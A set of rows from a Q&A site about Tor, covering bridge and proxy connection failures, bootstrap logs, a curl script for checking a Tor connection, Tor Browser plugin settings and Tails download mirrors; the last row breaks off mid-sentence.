  <row Id="13077" PostTypeId="1" CreationDate="2016-11-07T21:48:25.100" Score="0" ViewCount="2629" Body="&lt;p&gt;I have recently signed up for a video streaming site (watch.filmstruck.com). I can sign into their website without any problem, but when I chose a movie, what appears to be their video player opens up, but nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the answers I saw for a previous question about videos mentioned &lt;a href=&quot;https://rg3.github.io/youtube-dl/&quot; rel=&quot;nofollow noreferrer&quot;&gt;youtube-dl&lt;/a&gt;. As I understand it, this is for downloading videos. I don't want to download - I just want to stream a video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14979" LastActivityDate="2022-04-13T15:04:00.447" Title="Viewing video stream" Tags="|configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13078" PostTypeId="2" ParentId="13076" CreationDate="2016-11-07T23:05:28.033" Score="1" Body="&lt;p&gt;When you configure Tor Browser you get to specify if you can only access specific IP or Ports. In this case the set of IP and Ports you've specified being able to access excludes all of the bridges defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To configure this to go the Green Onion button, select Tor Network Settings and either untick or reconfigure the 'This computer goes through a firewall...' option to accurately reflect where you can connect to.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-07T23:05:28.033" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13079" PostTypeId="2" ParentId="12678" CreationDate="2016-11-08T01:40:37.900" Score="42" Body="&lt;p&gt;You can use curl to check &lt;a href=&quot;https://check.torproject.org/api/ip&quot; rel=&quot;noreferrer&quot;&gt;https://check.torproject.org/api/ip&lt;/a&gt; over tor:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note the &lt;code&gt;h&lt;/code&gt; in &lt;code&gt;socks5h&lt;/code&gt;.  This will ensure dns resolution is done over tor too.&lt;/p&gt;&#xA;&lt;p&gt;If everything goes well, the output will be something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;IsTor&amp;quot;:true,&amp;quot;IP&amp;quot;:&amp;quot;185.220.101.169&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If &lt;code&gt;IsTor&lt;/code&gt; is false, or there is an error or no output, tor is probably not working.  However, &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;check.torproject.org&lt;/a&gt; is prone to false negatives (see comments), so you might want to retry the command a few times to be sure.&lt;/p&gt;&#xA;&lt;p&gt;This is the script I use, which runs the check a second time if the first fails and returns true if either succeeds.  It's pretty unlikely to get two false positives in a row, but if it becomes a problem, increase &lt;code&gt;ATTEMPTS&lt;/code&gt;.  The script requires &lt;code&gt;jq&lt;/code&gt;, the json parser.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;# check_tor&#xA;&#xA;LOCAL_PROXY='localhost:9050'&#xA;CHECK_URL='https://check.torproject.org/api/ip'&#xA;ATTEMPTS=2&#xA;&#xA;false; for i in {1..$ATTEMPTS}; do&#xA;    if [ ${?} -ne 0 ]; then&#xA;        test &amp;quot;$(curl -x socks5h://${LOCAL_PROXY} -s ${CHECK_URL} | jq '.IsTor')&amp;quot; == 'true'&#xA;    fi&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14980" LastEditorUserId="14980" LastEditDate="2022-09-03T15:14:41.787" LastActivityDate="2022-09-03T15:14:41.787" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="13080" PostTypeId="1" CreationDate="2016-11-08T06:33:49.317" Score="1" ViewCount="323" Body="&lt;p&gt;I dont speak well english so, in &quot;normal style&quot; is my fuckin english style** and in bold is the GoGol translate :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Windows 10 user I have no confidence in this system. So I came here logically.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i want to click the tails link...&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wTLVy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wTLVy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The response done this :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VqIsi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VqIsi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So WHY? It's not &quot;my&quot; firefox, i'm on tails page on other tab (OK, there's more 40 mn the ISO's download &quot;working&quot; for Government &lt;em&gt;[Oops there's a title of A Tribe Call Red, sorry ;-)]&lt;/em&gt; for nothing)&#xA;EDIT: Humm... &lt;strong&gt;Now I can not access any links related to the tails site&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Nobody's perfect, i'm french...&#xA;&lt;strong&gt;If someone wants to make corrections, I promise I would not blame him.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14982" LastEditorUserId="14982" LastEditDate="2016-11-08T06:59:31.653" LastActivityDate="2016-11-10T03:59:03.723" Title="Why the link for tails done this?" Tags="|windows|tails|firefox|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13084" PostTypeId="2" ParentId="620" CreationDate="2016-11-08T13:02:32.833" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;This technique makes the TOR browser think that your VLC plugin is Flash, so it will let you enable it.&lt;/p&gt;&#xA;&lt;p&gt;You need to copy &lt;code&gt;/usr/lib/mozilla/plugins/libvlcplugin.so&lt;/code&gt; to &lt;code&gt;~/Downloads/tor-browser_en-US/Browser/browser/plugins/usr/libflashplayer.so&lt;/code&gt; and &lt;code&gt;~/Downloads/tor-browser_en-US/Browser/browser/plugins/libflashplayer.so&lt;/code&gt;. Then, click on the onion logo and click &lt;strong&gt;Privacy and Security Settings&lt;/strong&gt;. Then, uncheck &lt;strong&gt;Disable browser plugins (Such as Flash)&lt;/strong&gt;. Next, go to &lt;em&gt;about:addons&lt;/em&gt; and click on &lt;strong&gt;Plugins&lt;/strong&gt; on the left-hand side. Finally, change &lt;strong&gt;Never activate&lt;/strong&gt; to &lt;strong&gt;Ask to Activate&lt;/strong&gt; if necessary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14974" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-11-08T13:02:32.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13086" PostTypeId="1" CreationDate="2016-11-09T00:39:36.880" Score="1" ViewCount="69" Body="&lt;p&gt;I'm using Tor Brouser Bundle on Mac OS 10.12.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09/11/2016, 03:23:32.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016, 03:23:32.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09/11/2016, 03:23:32.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09/11/2016, 03:23:32.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;09/11/2016, 03:23:34.100 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;09/11/2016, 03:23:34.300 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;09/11/2016, 03:23:34.600 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;09/11/2016, 03:23:35.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09/11/2016, 03:23:35.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016, 03:23:35.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;09/11/2016, 03:23:35.100 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (DONE; DONE; count 1; recommendation warn; host A832D176ECD5C7C6B58825AE22FC4C90FA249637 at 154.35.22.11:80) &#xA;09/11/2016, 03:23:35.100 [WARN] 1 connections have failed: &#xA;09/11/2016, 03:23:35.100 [WARN]  1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;09/11/2016, 03:23:42.100 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (DONE; DONE; count 2; recommendation warn; host 8FB9F4319E89E5C6223052AA525A192AFBC85D55 at 154.35.22.10:80) &#xA;09/11/2016, 03:23:42.100 [WARN] 2 connections have failed: &#xA;09/11/2016, 03:23:42.100 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;09/11/2016, 03:23:42.100 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (DONE; DONE; count 3; recommendation warn; host A09D536DD1752D542E1FBB3C9CE4449D51298239 at 83.212.101.3:50000) &#xA;09/11/2016, 03:23:42.100 [WARN] 3 connections have failed: &#xA;09/11/2016, 03:23:42.100 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;09/11/2016, 03:23:42.100 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;09/11/2016, 03:23:42.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14989" LastEditorUserId="12737" LastEditDate="2016-11-09T00:47:26.177" LastActivityDate="2016-11-09T00:47:26.177" Title="Have some warning in the Tor Log... what does it mean?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="7" ClosedDate="2017-05-09T11:56:58.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="13087" PostTypeId="1" CreationDate="2016-11-09T07:38:35.880" Score="0" ViewCount="132" Body="&lt;pre&gt;&lt;code&gt;09/11/2016 12:45:39 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 12:45:39 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 12:45:39 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 12:45:39 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09/11/2016 12:45:47 PM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09/11/2016 12:45:47 PM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;09/11/2016 12:45:47 PM.800 [WARN] Proxy Client: unable to connect to 54.85.16.112:40872 (&quot;general SOCKS server failure&quot;) &#xA;09/11/2016 12:45:47 PM.800 [WARN] Proxy Client: unable to connect to 52.53.248.234:59814 (&quot;general SOCKS server failure&quot;) &#xA;09/11/2016 12:45:49 PM.400 [WARN] Proxy Client: unable to connect to 194.132.208.8:20438 (&quot;general SOCKS server failure&quot;) &#xA;09/11/2016 12:50:59 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09/11/2016 12:50:59 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 12:50:59 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14994" LastEditorUserId="9291" LastEditDate="2016-11-09T12:43:24.283" LastActivityDate="2017-02-07T13:41:26.983" Title="Unable to connect on tor network error 0.0.2.0:0? i am using a proxy server in college, the bridges obtained are not working.... below are the logs i" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13088" PostTypeId="1" CreationDate="2016-11-09T09:50:57.590" Score="1" ViewCount="260" Body="&lt;pre&gt;&lt;code&gt;09/11/2016 15:11:26 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:11:26 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:11:26 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:11:26 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09/11/2016 15:11:26 PM.200 [NOTICE] Renaming old configuration file to &quot;C:\Users\Lenovo\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot;&#xA;09/11/2016 15:11:27 PM.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09/11/2016 15:11:52 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09/11/2016 15:11:52 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:11:52 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;09/11/2016 15:11:53 PM.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;09/11/2016 15:13:05 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:13:05 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:13:05 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:13:05 PM.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09/11/2016 15:13:12 PM.200 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;09/11/2016 15:17:48 PM.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 3; recommendation warn; host B9E7141C594AF25699E0079C1F0146F409495296 at 0.0.2.0:2) &#xA;09/11/2016 15:17:48 PM.600 [WARN] 6 connections have failed: &#xA;09/11/2016 15:17:48 PM.600 [WARN]  5 connections died in state connect()ing with SSL state (No SSL object) &#xA;09/11/2016 15:17:48 PM.600 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;09/11/2016 15:17:58 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09/11/2016 15:17:58 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09/11/2016 15:17:58 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14994" LastEditorUserId="9291" LastEditDate="2016-11-09T12:41:05.880" LastActivityDate="2017-05-08T23:12:41.940" Title="error 0.0.2.0:0? below are the log" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ClosedDate="2017-05-09T12:12:05.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="13090" PostTypeId="2" ParentId="13088" CreationDate="2016-11-09T12:42:25.887" Score="0" Body="&lt;p&gt;It's a SSL/TLS attack on your connection, try &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow noreferrer&quot;&gt;Meek pluggable transport&lt;/a&gt; - it's desined specifically to deal with such kind of problems&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-09T12:42:25.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13091" PostTypeId="2" ParentId="13087" CreationDate="2016-11-09T12:51:05.557" Score="1" Body="&lt;p&gt;This case indicates one of the things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;You have specified the proxy settings wrong&lt;/strong&gt; It happens when you've mistyped in &lt;code&gt;torrc&lt;/code&gt; specifying your proxy server address, port and credentials. Just check it - if it's all fine and you can use a web browser with these specific settings, then it's not the case&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Your proxy server requires some additional auth tokens&lt;/strong&gt; Like a Windows domain login, Kerberos ticket(for Microsoft products it can be a case). Try using some connection wrapper like an itermediate proxy of your own to see the logs and exact connection flow. It helps to save time guessing what exactly is going wrong. You use it for a web browser first - checking that this proxy chain is actually working and having a &quot;positive&quot; workflow. Then try to use Tor through your proxy and troubleshoot and/or identify the problem precisely.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Your proxy is blocking by-ip-basis Tor directory servers and/or bridge IPs&lt;/strong&gt; It's a censorship, try to use bridges(maybe, set up your own) that &lt;strong&gt;don't&lt;/strong&gt; publish their identity in BridgeDB. Also try pluggable transports like Obfs 3 and 4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-09T12:51:05.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13092" PostTypeId="2" ParentId="13071" CreationDate="2016-11-09T13:39:26.593" Score="0" Body="&lt;p&gt;Yes, you can - it's not dependent on APK or other package-style stuff. Just use Tor control protocol and do whatever you need to do over network&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-09T13:39:26.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13093" PostTypeId="2" ParentId="13047" CreationDate="2016-11-09T13:46:54.253" Score="0" Body="&lt;p&gt;The problem in your case is that you're launching Tor process not as a root and trying to bind to a &lt;em&gt;privileged port&lt;/em&gt;, i.e. the one below 1024. Only root can do such a trick, that's why you're getting permission denied error. It's OK to &lt;em&gt;launch at startup&lt;/em&gt; as a root, but on the last line of your &lt;code&gt;torrc&lt;/code&gt; config you &lt;strong&gt;must&lt;/strong&gt; drop the root privileges by specifying a line like &lt;code&gt;User my-tor-unprivileged-user&lt;/code&gt;. Here is how it works: you're starting as a root, &lt;em&gt;nothing is done&lt;/em&gt; &lt;strong&gt;yet&lt;/strong&gt;, so it's 100% safe and you're binding to your ports below 1024. After that, &lt;em&gt;before&lt;/em&gt; starting to actually operate, Tor switches to another user you're specifying in the last line of your config. So - no traces of root privileges remained, you're limited to your unprivileged user, &lt;em&gt;but have successfully opened the listeners you require&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-09T13:46:54.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13094" PostTypeId="2" ParentId="13077" CreationDate="2016-11-09T13:50:39.347" Score="0" Body="&lt;p&gt;The player opened by your browser &lt;strong&gt;does not&lt;/strong&gt; know a thing about your Tor settings. Edit your player settings to use Tor proxy and save them by default - that's how it will work. Or - a &lt;em&gt;better, but harder way&lt;/em&gt; - use a middlebox/router to wrap all the traffic through Tor&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-09T13:50:39.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13096" PostTypeId="1" CreationDate="2016-11-09T15:52:10.363" Score="2" ViewCount="281" Body="&lt;p&gt;I have tried all provided bridges namely&#xA;fte&#xA;meek amazon&#xA;meek azure&#xA;obfs 3/4&#xA;scramblesuit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried custom bridges via &quot;get command&quot; email to TOR but those also failed to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error is &#xA;Tor failed to establish a Tor network connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Establishing an encrypted directory connection failed (done - 88.140.128.43:443).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.36 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.36 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.800 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.800 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.800 [WARN] Proxy Client: unable to connect to 83.212.101.3:50000 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.800 [WARN] Proxy Client: unable to connect to 154.35.22.10:2934 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.800 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.900 [WARN] Proxy Client: unable to connect to 154.35.22.11:2413 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.900 [WARN] Proxy Client: unable to connect to 154.35.22.13:4319 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.43 PM.900 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.44 PM.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:50000 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.44 PM.600 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.44 PM.600 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.44 PM.600 [WARN] Proxy Client: unable to connect to 154.35.22.11:2413 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.44 PM.700 [WARN] Proxy Client: unable to connect to 154.35.22.10:2934 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.44 PM.700 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.44 PM.700 [WARN] Proxy Client: unable to connect to 154.35.22.13:4319 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.49 PM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.49 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.49 PM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.14.50 PM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.16.54 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.16.54 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.16.54 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.16.54 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.10 PM.500 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 3; recommendation warn; host 578166B6AEF1C162602DC623A7DDE09E39B84859 at 88.140.128.43:443) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.10 PM.500 [WARN] 21 connections have failed: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.10 PM.500 [WARN]  18 connections died in state handshaking (proxy) with SSL state (No SSL object) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.10 PM.500 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.10 PM.500 [WARN]  1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.45 PM.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.45 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;09-11-2016 21.17.45 PM.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Burried under cyberoam&lt;/p&gt;&#xA;" OwnerUserId="15001" LastActivityDate="2016-11-09T15:52:10.363" Title="All bridges have failed to connect TOR" Tags="|error|" AnswerCount="0" CommentCount="2" ClosedDate="2017-05-09T11:35:40.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="13098" PostTypeId="2" ParentId="13080" CreationDate="2016-11-10T03:59:03.723" Score="3" Body="&lt;p&gt;Someone is interfering with TLS, or your browser has an old certificate pin that is no longer valid and your browser requires updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails provides mirrors, if access to the main website is blocked. You could try accessing &lt;a href=&quot;https://tails.boum.org/blueprint/HTTP_mirror_pool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;one of the mirrors&lt;/a&gt; to download the ISO.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://tails.mirror.metalgamer.eu/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.mirror.metalgamer.eu/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://tails.c3l.lu/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.c3l.lu/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://16.dl.amnesia.boum.org/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://16.dl.amnesia.boum.org/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://dl2.crypto-rebels.de/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl2.crypto-rebels.de/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://mirror.bytemark.co.uk/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mirror.bytemark.co.uk/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://mirrors.wikimedia.org/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mirrors.wikimedia.org/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://mirrors.kernel.org/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mirrors.kernel.org/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Inside of these mirrors there should be a folder called &lt;code&gt;tails-i386-x.y&lt;/code&gt;, where x and y are the latest version numbers (at current time of writing it is 2.6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download both the &lt;code&gt;.iso&lt;/code&gt; and the &lt;code&gt;.iso.sig&lt;/code&gt; and verify the signature. Since these mirrors are being served from infrastructure that Tails doesn't own or maintain, it's twice as important to verify the authenticity of the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the following magnet link should 